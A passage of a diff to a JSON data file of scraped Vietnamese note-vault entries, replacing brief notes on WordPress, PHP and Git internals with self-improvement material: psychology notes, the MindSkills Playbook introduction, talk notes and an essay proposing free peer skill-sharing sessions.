- YouTube](https://www.youtube.com/watch?v=5lj0kCmC7L8)\n![Building digital gardens with QUARTZ – Static Feedback #9 - YouTube](https://www.youtube.com/watch?v=YCvV7Izqggc)", + "Toàn bộ nội dung": "[[Ta không ngại làm phiền người không hoàn toàn quen]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cT" + "Ngày cập nhật": "2024-01-08T13:32:00.000Z", + "id": "gF" }, { - "Tiêu đề": "Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Email làm", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tâm lý con người/Email làm", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cU" + "id": "gG" }, { - "Tiêu đề": "Nội dung trong cơ sở dữ liệu được PHP hiển thị thành HTML", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/Nội dung trong cơ sở dữ liệu được PHP hiển thị thành HTML", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Khi bị hỏi con người cảm thấy bị nghiên cứu", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tâm lý con người/Khi bị hỏi con người cảm thấy bị nghiên cứu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cV" + "id": "gH" }, { - "Tiêu đề": "PHP là một ngôn ngữ lập trình cho web", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/PHP là một ngôn ngữ lập trình cho web", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Khi bị đối xử vô lý, kể cả khi biết rằng điều cần khắc phục đã được khắc phục, ta vẫn cảm thấy chưa được khắc phục", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tâm lý con người/Khi bị đối xử vô lý, kể cả khi biết rằng điều cần khắc phục đã được khắc phục, ta vẫn cảm thấy chưa được khắc phục", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[WordPress viết trên nền PHP]] \r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cW" + "id": "gI" }, { - "Tiêu đề": "phpMyAdmin là GUI để dùng MySQL", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/phpMyAdmin là GUI để dùng MySQL", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Mạng xã hội khai thác điểm yếu của con người", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tâm lý con người/Mạng xã hội khai thác điểm yếu của con người", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[MySQL Workbench](https://www.mysql.com/products/workbench/) cũng là một GUI khác. Khác biệt ở chỗ cái này là chương trình cài đặt riêng trên máy, còn phpMyAdmin chạy trên web, nên thường được dùng", + "Toàn bộ nội dung": "![](https://assets-global.website-files.com/5f0e1294f002b1bb26e1f304/6273d54e9f5270706efdddef_Wisdom-Gap-Email_Human-Vulnerabilities-Technology.png) \n- [ ] Hiểu về [The Wisdom Gap](https://www.humanetech.com/insights/the-wisdom-gap \"The Wisdom Gap - Center for Humane Technology\")\n\t- [ ] Hiểu về tác động của Instagram:\n\t\t- [Instagram Worsens Body Image Issues And Erodes Mental Health : NPR](https://www.npr.org/2021/09/26/1040756541/instagram-worsens-body-image-issues-and-erodes-mental-health \"Instagram Worsens Body Image Issues And Erodes Mental Health : NPR\")\n\t\t- [Facebook knew Instagram could be bad for teens' mental health](https://www.usatoday.com/story/tech/2021/09/14/facebook-knew-instagram-could-bad-teens-mental-health/8340578002/ \"Facebook knew Instagram could be bad for teens' mental health\")\n\t\t- [Aesthetic Consumerism and the Violence of Photography: What Susan Sontag Teaches Us about Visual Culture and the Social Web – The Marginalian](https://www.themarginalian.org/2013/09/16/susan-sontag-on-photography-social-media/ \"Aesthetic Consumerism and the Violence of Photography: What Susan Sontag Teaches Us about Visual Culture and the Social Web – The Marginalian\")\n\t- [ ] Bảo vệ sự chú ý: \n\t- [ ] Không để\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cX" + "id": "gJ" }, { - "Tiêu đề": "WordPress là một hệ thống quản lý nội dung", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/WordPress là một hệ thống quản lý nội dung", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ta thường phóng đại những rủi ro mà ta không hiểu rõ", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tâm lý con người/Ta thường phóng đại những rủi ro mà ta không hiểu rõ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng]]. [[Nội dung trong cơ sở dữ liệu được PHP hiển thị thành HTML]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cY" + "id": "gK" }, { - "Tiêu đề": "WordPress viết trên nền PHP", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/WordPress viết trên nền PHP", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Việc có được phản hồi là rất khó", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tâm lý con người/Việc có được phản hồi là rất khó", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[phpMyAdmin là GUI để dùng MySQL]] \r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cZ" + "id": "gL" }, { - "Tiêu đề": "WordPress.org là phần mềm mã nguồn mở. WordPress.com là dịch vụ hosting", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/WordPress.org là phần mềm mã nguồn mở. WordPress.com là dịch vụ hosting", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "MindSkills Playbook", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/MindSkills Playbook", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n", + "Toàn bộ nội dung": "#### Welcome to the MindSkills Playbook: How to Ace the Game of Life\n\n##### **”What is this? The last thing I need is another self-improvement book.“**\n\nSelf-improvement books don’t work as well as you hope because they aren’t personalized enough. Also, they only have a “piece of the elephant,” such as habits, mindset, positivity, mental models, winning friends and influencing people, building self-esteem, productivity, etc. etc. etc. They can be valuable for specific issues, but you need a system.\n\nYou need your own personal path, which my hyperlinked approach provides. MindSkills is the most comprehensive system of personal development. But you can learn it in the bits and pieces you need most right now. It’s not linear because life is not linear.\n\n> If you’re still skeptical about why you need a better strategy for personal development than reading the self-help books, read this: \n> [Why you need a better personal development strategy](https://publish.obsidian.md/mindskills-playbook/_MindSkills+Playbook/Why+you+need+a+better+personal+development+strategy) \n> [To improve yourself, the first thing to improve is your self-improvement strategy](https://publish.obsidian.md/mindskills-playbook/_MindSkills+Playbook/To+improve+yourself%2C+the+first+thing+to+improve+is+your+self-improvement+strategy)\n\n##### How?\n\nHighly effective people use a simple set of techniques to be successful and happy.\n\nThey all come down to a few things that you can learn easily if you know where to start and how to find the right sequence to learn them in **_for you_**.\n\nSo, your choice: You can read 50 wonderful and useful self-improvement books for a decade or two, always hoping that the next one will “do it.” Or, you can use my lifetime experience to help you figure out what will have the most impact on your life NOW.\n\n##### Who the hell are you?\n\nThis is not the place to impress you with my credentials. You can read my bio [elsewhere](https://publish.obsidian.md/mindskills-playbook/_MindSkills+Playbook/Who+is+George+Silverman%3F).\n\nWhat's relevant here: I’m 80 years old. I've studied the world's most effective people, had some amazing mentors, put their methods into practice myself with great success, and taught them to others. This is my attempt to give back before I leave the planet.\n\n**These methods work.** Not just for me. They are adaptable to who you are and to developing who you want to become, not who someone else thinks you should be. They will make you more you and give you the confidence to put it out there.\n\nMost people (you?) were taught how to live by unhappy, unsuccessful parents and teachers. No wonder the world is a mess. The same crap gets handed down from generation to generation!\n\nThis is the place to begin your exploration and adventure, with an open, curious mind. Dip in. Try stuff. Unlearn what you were taught. Ask me questions on Twitter @GeorgeSilverman.\n\nAlso, If you have a suggestion, please let me know, by DMing me on Twitter @GeorgeSilverman. I'm exploring a better mechanism where people can contribute to the Playbook. If you have any suggestions for how to do that, please let me know. I’m hoping that the Obsidian @obsdmd publishing platform that you’re on now will build in this feature.\n\nCome to my Twitter Spaces to discuss these methods.\n\n#### How to Read this book\n\nUnlike other books, this is a “living book”: It is made up mostly of independent essays, intended to be read in a sequence you choose, guided by your curiosity and interest. Check the table of contents and, eventually, the hub pages, and see what “strikes your fancy.” That's your subconscious telling you that you are receptive to and will benefit from reading it. Jump around. Life's an adventure.\n\nHere's what I'll teach you in this Playbook:\n\nThe Silverman Method for getting what you want, The Basic Flow:\n\n1. Gather Info\n2. Evaluate\n3. Set Goals\n4. Problem-Solve\n5. Decide\n6. Plan\n7. Implement\n\nAll of these basic steps are enabled by the basic MindSkills, some of which are:\n\nGoing Meta \nSuper Learning \nCritical thinking \nCreativity\n[[Hiểu ý nhau]]\n[[Quản lý cảm xúc]]\nTaking action\n\nBuckle up. You’re in for the ride of your life.\n\n[Ghé thăm MindSkills Playbook](https://publish.obsidian.md/mindskills-playbook/_MindSkills+Playbook/_Master+Table+of+Contents){ .md-button .md-button--primary }\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "ca" + "id": "gM" }, { - "Tiêu đề": "Bản chất của Git chỉ là những cặp giá trị key – value", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Bản chất của Git chỉ là những cặp giá trị key – value", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Wait But Why", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Wait But Why", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Git - Git Objects](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects)\r\n\r\n[[Key là hash của object, value là nội dung object]]", + "Toàn bộ nội dung": "Các bài dịch tiếng Việt được tổng hợp lại\nhình vẽ sinh động\nhttps://tamlyhoctoipham.com/tu-khoa/Waitbutwhy\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cb" + "id": "gN" }, { - "Tiêu đề": "Có 4 loại object chính: blob, tree, commit, annotated tag", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Có 4 loại object chính – blob, tree, commit, annotated tag", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Buổi chia sẻ với CLB CTXH Đại học Thái Nguyên", + "URL": "https://kỹnăng.quảcầu.cc/📐 Dự án/5 Thành phẩm/Các buổi chia sẻ kỹ năng miễn phí với nhau/Buổi chia sẻ với CLB CTXH Đại học Thái Nguyên", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Tên dự án": "5 Thành phẩm", + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng]] \r\n\r\nGit sử dụng 1 database được xây dựng trên 4 objects (đối tượng) chính:\r\n\r\n- **Blob**: key-value của file\r\n- **Tree**: key-value của folder, trong tree chứa pointer trỏ đến tree và blob\r\n- **Commit**: chứa pointer trỏ đến tree\r\n- **Annotated Tag**: 1 pointer trỏ đến commit\r\n\r\n![](https://giangtester.com/wp-content/uploads/2021/09/image-3-1024x563.png)\r\n![](https://giangtester.com/wp-content/uploads/2021/09/image-4-1024x557.png)\r\n\r\n- Blue là blob\r\n- Green là tree\r\n- Orange là commit\r\n\r\nGit lưu **blob, tree, commit** ở đâu? —> ở folder `.git\\objects` nhé\r\nNguồn:: [[[Bản chất của git | GiangTester Blog](https://giangtester.com/ban-chat-cua-git/) ]]\r\n\r\n![Git Internals - Git Objects - YouTube](https://www.youtube.com/watch?v=MyvyqdQ3OjI)\r\n", + "Toàn bộ nội dung": "Ghi chép của Ma Phương.\n\n---\n\n1. Giới thiệu web hệ thống các kỹ năng phát triển bản thân ([[MindSkills Playbook]]). Mn vô web và chọn bất kì chủ đề kỹ năng nào mình thích rồi đọc \n2. Giới thiệu web quản lý cuộc sống cá nhân bao gồm các chủ điểm: nhu cầu của bản thân, niềm tin/ giá trị của bản thân, mối quan hệ với người xung quanh, mục tiêu cá nhân, điểm mạnh/ yếu, thách thức/ cơ hội, tài chính, sức khỏe, rủi ro,... \n 3. Cách xác định nhu cầu là đặt câu hỏi mình đang quan tâm chủ đề, thứ gì, mình muốn tìm hiểu chủ đề lĩnh vực nào nhất, mình đang tò mò cái gì? Đặt câu hỏi để tìm ra mong muốn, nhu cầu của bản thân \n4. Cách xác định niềm tin/ hệ giá trị của bản thân \nLiệt kê tính từ miêu tả giá trị cốt lõi, giá trị mình muốn hướng đến. (Ví dụ hiểu biết, tò mò, tự do, bình đẳng, yêu thương,...) \nLiệt kê những gì mình đang tin, sau đó kiểm chứng về tính đúng sai của niềm tin đang có. (Ví dụ: tui tin mọi chuyện luôn có hướng giải quyết, lạc quan và sự tích cực có thể giải quyết mọi vấn đề, thế giới luôn có sự mâu thuẫn,..) \nKết hợp mục 3 và 4 sẽ giúp ta tìm ra mục tiêu cá nhân, xác định được con đường ta muốn đi Ví dụ như tui muốn có sự lạc quan và yêu đời trong cuộc sống, tui muốn có sự bình đẳng trong xã hội \nLời khuyên: Lựa chọn học ngành mình yêu thích vì nếu đem lên bàn cân so sánh ngành mình k thích và ngành mình thích, sau này rồi cũng thất nghiệp thì nên chọn ngành học mình hứng thú, yêu thích để học. Việc học sẽ rất hữu ích đối với mình. Bỏ học để theo đuổi cũng là một sự lựa chọn. \n5. Liệt kê suy nghĩ, cảm nhận của bạn về những người quan trọng hoặc để lại trong bạn sự ấn tượng. Viết ra kế hoạch của họ để xem kế hoạch của mình có sự tương tác như nào đối với họ, từ đó xác định vấn đề và nghĩ ra giải pháp \n Ví dụ: người yêu sẽ du học lâu năm ở Mỹ, vấn đề phải xa nhau, làm thế nào để giữ tình cảm khi yêu xa. \nBố mẹ đang mắc bệnh, muốn đi du lịch thì làm thế nào để bản thân kiếm được tiền và sắp xếp kế hoạch như nào để tổ chức du lịch gia đình\n6. Vấn đề yêu đương, tình cảm. Nên đặt câu hỏi Mình có thể làm gì tốt nhất đối với họ thay vì câu hỏi Làm thế nào để mình có họ. Khi trả lời câu hỏi làm thế nào mang lại điều tốt nhất cho họ (có thể là sự hy sinh lớn lao hoặc những thứ cao cả hơn vật chất như quà cáp) thì sẽ có mqh bền vững, nếu muốn yêu để trải nghiệm mà k xác định tính lâu dài trong mqh thì k cần phải đặt câu hỏi này \n7. Đối diện với nỗi sợ để đi lên. \n Ta sợ vì ta thiếu hiểu biết. Nếu ta cho cơ hội để dừng lại, quan sát, tò mò về nỗi sợ và khám phá chúng thì ta sẽ giải quyết được nỗi sợ hãi. Ví dụ của anh là anh sợ con gián, anh đứng lặng nhìn con gián trong một thời gian dài, phát hiện nó cũng là con côn trùng như bao con khác và nó k làm hại đến anh, rồi anh tò mò về cơ thể nó, từ đó dần hết chứng sợ gián \n8. Quản lý rủi ro trong cuộc sống \n Xác định tần suất khả năng xuất hiện của những sự kiện, biến cố trong cuộc đời ví dụ như mất điện thoại, mất dữ liệu. Lên kịch bản cho những rủi ro có khả năng xảy ra nhất và chuẩn bị giải pháp cho nó. \n 8. Nếu chưa xác định được mình muốn gì, con đường của mình sẽ đi về đâu thì cứ thử, trải nghiệm, rồi sẽ tìm ra. Ai xác định được con đường của mình sẽ đi, 30 hay 40 tuổi mình sẽ là ai thì sẽ tiết kiệm được thời gian và công sức hơn so với ai chưa định hướng được con đường tương lai của mình.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-09T07:46:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cc" + "id": "gO" }, { - "Tiêu đề": "Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Blob, tree, ref. Bản chất của Git/Có thể hiểu blob là hash của một file, tree là hash của một folder, còn commit thực ra chỉ là hash của folder tổng", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Các buổi chia sẻ kỹ năng miễn phí với nhau", + "URL": "https://kỹnăng.quảcầu.cc/📐 Dự án/5 Thành phẩm/Các buổi chia sẻ kỹ năng miễn phí với nhau", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Tên dự án": "5 Thành phẩm", + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chính vì [[Có thể xem nội dung file với hash là như nhau. Nhưng file thì có thể có kích thước vô cùng lớn, còn hash thì luôn chỉ có 40 ký tự|nội dung file với hash là như nhau, nhưng file thì có kích thước vô cùng lớn, còn hash thì chỉ có 40 ký tự]], nên thay vì ta phải quản lý file, thì ta chỉ cần quản lý hash của chúng là được. Điểm trừ tất nhiên là ta không thể tái tạo lại nội dung file từ hash, vì hàm băm là hàm một chiều. Nhưng điều đó không quan trọng, nếu tất cả những gì ta cần là quản lý.\r\n\r\nFolder cũng tương tự như vậy. Thay vì quản lý một folder với các file, ta chỉ tạo ra một file là danh sách chứa các hash của các file trong folder đó, rồi quản lý cái hash của cái file đó là được. \r\n\r\nNguồn:: ", + "Toàn bộ nội dung": "# Vấn đề của việc tự học kỹ năng\nNhu cầu học kỹ năng của con người là rất lớn. Và thật ra mà nói, dù là kỹ năng nào thì cũng có hướng dẫn trên mạng cả, chỉ việc google phát là ra ê hề. Tuy nhiên việc ai cũng cảm thấy chật vật trong việc học kỹ năng. Vì sao vậy?\n\n## Vấn đề của việc tự học trên mạng\n- Những bài viết ở trên đầu Google thì nhiều khi là do SEO nên không thực sự đủ sâu, chỉ lớt phớt để bán hàng, bán khoá học\n- Những bài viết chuyên sâu thì cũng có thể làm người mới thấy ngộp vì quá nhiều thuật ngữ\n- Để có một bài vừa dễ hiểu lại chuyên sâu thì đòi hỏi người trình bày phải đầu tư nhiều công sức. Họ sẽ phải có một nhu cầu rất lớn để giúp đỡ những người chưa biết, và nhu cầu đó phải lớn đến mức để họ thốt lên rằng \"OK, tôi sẽ là người đi giải quyết vấn đề này ngay bây giờ\", và gạt đi tất cả những nhu cầu khác để có thể ưu tiên giải quyết chuyện này cho đến khi hoàn thành. Còn không thì phải chờ đến khi những nhu cầu khác đó được thoả mãn. Và ta biết là không biết phải đợi đến bao giờ mới tới lượt mình\n- Những bài vừa chất lượng lại giải thích dễ hiểu cho người mới thì sẽ dài, cần thời gian để đọc. Có khi dài thành cả một cuốn sách. Trong khi đó nhu cầu học kỹ năng đó của ta nhiều khi chỉ là nhu cầu phái sinh trong lúc cần giải quyết một bài toán lớn hơn, hoặc cần giải quyết song song với những bài toán khác. Mà một đặc tính của não là nhiều khi nghĩ ra ý tưởng hay lúc đang làm một việc gì khác. Mà một đặc tính khác của não là nếu đang làm dở dang việc gì mà bị buộc phải đổi đối tượng tập trung sẽ rất nhức đầu. Tức là não tự phân tâm xong tự nhức đầu\n- Việc phải đi tìm những bài vừa chất lượng lại dễ hiểu với mình chất chồng lên sự nhức đầu của ta\n- Nếu không tìm ra một bài như vậy thì có thể đặt câu hỏi trên các diễn đàn. Tuy nhiên việc đó đòi hỏi phải tìm hiểu trước về nội quy diễn đàn. Điều đó chất chồng vào sự nhức đầu của ta\n- Không phải lúc nào câu hỏi cũng lọt vào được bảng tin của người có thể trả lời\n- Cảm giác cô đơn vì mình phải tự mày mò trong khi những người có thể giúp mình không đoái hoài gì đến mình, dù vẫn biết rằng họ chỉ bận mà thôi\n\nGiải pháp của việc này thường là giao việc cho người khác làm, hoặc bỏ tiền học các khoá học. Tuy nhiên những giải pháp này cũng có những vấn đề của riêng nó.\n\n## Vấn đề của việc giao việc cho người khác làm\n- Việc quảng cáo tìm người chất chồng lên sự nhức đầu của ta\n- Không phải lúc nào cũng tìm được người có kỹ năng làm, đáng tin tưởng để nhờ làm, và chịu nhận làm. Không phải lúc nào cũng có tiền để thuê người làm\n- Ta muốn nhân cơ hội này học kỹ năng đó, vì:\n\t- Việc có kỹ năng đa dạng sẽ giúp ta linh động hơn rất nhiều trong công việc. Có những thứ tự làm sẽ nhanh hơn\n\t- Tự bản thân việc học thêm một cái mới là một giá trị tự thân. Sự sáng tạo đến từ việc kết nối những thứ khác nhau. Giá trị cá nhân trong thời đại hợp tác đa phương và liên ngành cũng đến từ việc đó\n\n## Vấn đề của việc theo học các khoá học \n- Không phải lúc nào cũng có tiền để đi học. Nếu đó là khóa học không online và nơi tổ chức ở xa thì càng khó khăn hơn\n- Việc đi tìm khoá học ưng ý chất chồng lên sự nhức đầu của ta\n- Không phải lúc nào thời gian học cũng phù hợp với lịch của ta. Lúc cần thì không có, lúc có thì không cần\n- Vì phải phục vụ cho nhiều người nên nội dung chỉ có thể mang tính gợi mở, chứ khó mà cá nhân hoá được. Điều đó làm ta thất vọng đôi chút, vì nếu câu hỏi của ta không được giải đáp mà chỉ chuyển từ dạng này sang dạng khác, thì sự nhức đầu của ta cũng không mất đi\n\n# Tại sao ta không tổ chức các buổi chia sẻ kỹ năng miễn phí với nhau?\nBiết rằng việc tự học là quan trọng, nhưng nếu đó là một cái kỹ năng mà có người rành rồi và sẵn sàng chỉ lại thì ta không cần phải mất thời gian như thế. Việc có được người khác hướng dẫn làm và được hỏi trực tiếp ngay tại đó hiệu quả hơn rất nhiều. Lý do là vì bắt chước và thảo luận là nền tảng của giáo dục, nó giúp ta vượt qua được một bể khái niệm mới mà không cảm thấy rối rắm loạn xì ngầu.\n\n## Lợi ích với người học\n- Không phải tốn tiền để tham gia\n- Việc được cùng làm, cùng thảo luận với người khác không chỉ giúp giữ sự tập trung của mình vào chủ đề, khiến cho việc não tự nghĩ tới việc khác rồi tự nhức đầu giảm đi, mà bản thân cái không gian đó cũng là một môi trường nghĩ (medium of thought), giúp cho mình nghĩ được những thứ khó nghĩ và bất khả nghĩ\n- Nếu số lượng người tham gia ít thì sẽ nhận được giải pháp có sự cá nhân hoá cao hơn\n- Nếu số lượng người tham gia ít thì dễ sắp lịch phù hợp với mọi người hơn\n- Có nhiều thời gian tương tác, kết nối sâu với mọi người, từ đó thấy được những tiềm năng hợp tác mới \n\n## Lợi ích với người hướng dẫn\n- Được dịp để kiểm tra, hệ thống hoá lại kiến thức của mình cũng như cập nhật kiến thức mới\n- Việc được cùng làm, cùng thảo luận với người khác không chỉ giúp giữ sự tập trung của mình vào chủ đề, khiến cho việc não tự nghĩ tới việc khác rồi tự nhức đầu giảm đi, mà bản thân cái không gian đó cũng là một môi trường nghĩ (medium of thought), giúp cho mình nghĩ được những thứ khó nghĩ và bất khả nghĩ\n- Thấy được những khúc mắc của mọi người ở đâu để có thể soạn được bài hướng dẫn/giáo án hiệu quả hơn. Nếu có ý định sau này mở lớp hướng dẫn có phí thì đây chính là cơ hội thực tập\n- Có nhiều thời gian tương tác, kết nối sâu với mọi người, từ đó thấy được những tiềm năng hợp tác mới \n- Thấy được giá trị của mình ở người khác\n- Làm cho người khác thấy được giá trị của mình\n\n# Khó khăn và hướng giải quyết\nKhó khăn: Bất kể người hướng dẫn thấy lợi ích với họ lớn bao nhiêu, thì trừ phi việc đi hướng dẫn **đóng góp trực tiếp** tới những điều họ mong muốn đạt được, còn không thì họ cũng sẽ khó mà xếp lịch được.\n\nGiải pháp: Nếu người hướng dẫn muốn hướng dẫn nhưng quá bận để hướng dẫn, thì có thể nói ra những điều kiện để những ưu tiên cao hơn tan biến đi. Nhóm học viên có thể xem coi có giúp được hay không. Điều này sẽ dẫn ta về lại mạng kết nối nhu cầu.\n\n# Hình thức tổ chức\nTôi cảm thấy những kỹ năng liên quan trực tiếp tới những điều một người mong muốn đạt được, kích thích sự say mê và cảm giác tự hào khi chia sẻ ở họ thường là những kỹ năng cứng hơn là kỹ năng mềm. Vì vậy, những buổi chia sẻ cũng sẽ chủ yếu là những kỹ năng cứng, thậm chí là rất ngách. Điều này cũng tốt cho người tham dự, vì sẽ ít người tham gia. Nếu sự cá nhân hoá được cao hơn thì sự thoả mãn cũng cao hơn, sự kết nối cũng sâu hơn.\n\nHơn nữa, việc tập trung vào những kỹ năng cứng sẽ đảm bảo rằng có những người tham gia thực sự thấy nó thiết thực với cuộc sống của mình, chứ không phải chỉ là rảnh rỗi đến nghe coi có gì hay. Việc người tham gia có thấy sự thiết thực của nó trong đời sống của mình sẽ giúp họ đặt ra các câu hỏi có tính thử thách với người hướng dẫn, giúp duy trì sự hứng thú của tất cả mọi người.\n\nNếu muốn đảm bảo mục tiêu là giải quyết sự nhức đầu của người học khi cần học một kỹ năng phái sinh trong quá trình giải quyết một bài toán chính, việc học sẽ nhấn mạnh vào việc **cho giải pháp**. Người hướng dẫn sẽ lắng nghe các bài toán của người học trước, giải thích thứ họ cần làm là gì. Người học sẽ đặt các câu hỏi để hiểu được các khái niệm họ không hiểu, và người hướng dẫn sẽ giải thích chúng. Sau đó sẽ là các bài tập để họ tự mình làm lại. Cứ cho họ con cá trước, rồi họ sẽ vừa ăn vừa học cách câu. Tất nhiên việc đặt câu hỏi để kích thích tư duy và thay đổi cách tiếp cận cũng rất tốt. Không nhất thiết là phải cố định ở một vai trò huấn luyện, tư vấn, cố vấn nào cả.\n\nNhững buổi chia sẻ sẽ được thông báo trên nhóm để những ai có hứng thú cùng đến nghe và thảo luận, nhưng sẽ ưu tiên cho những người cần học nó nhất.\n\nĐây là đồ thị thể hiện những người đang tham gia và những kỹ năng họ muốn chia sẻ hoặc muốn được học:\n\n\n\n\n## Tham khảo thêm\n![](https://www.mckinsey.com/~/media/mckinsey/industries/public%20and%20social%20sector/our%20insights/defining%20the%20skills%20citizens%20will%20need%20in%20the%20future%20world%20of%20work/svgz-deltasfutureskillsneeded-ex1.svgz?cq=50&cpy=Center) \n- Hannah Rose, [Mimetic learning: the power of learning through imitation](https://nesslabs.com/mimetic-learning \"Mimetic learning: the power of learning through imitation\"), Ness 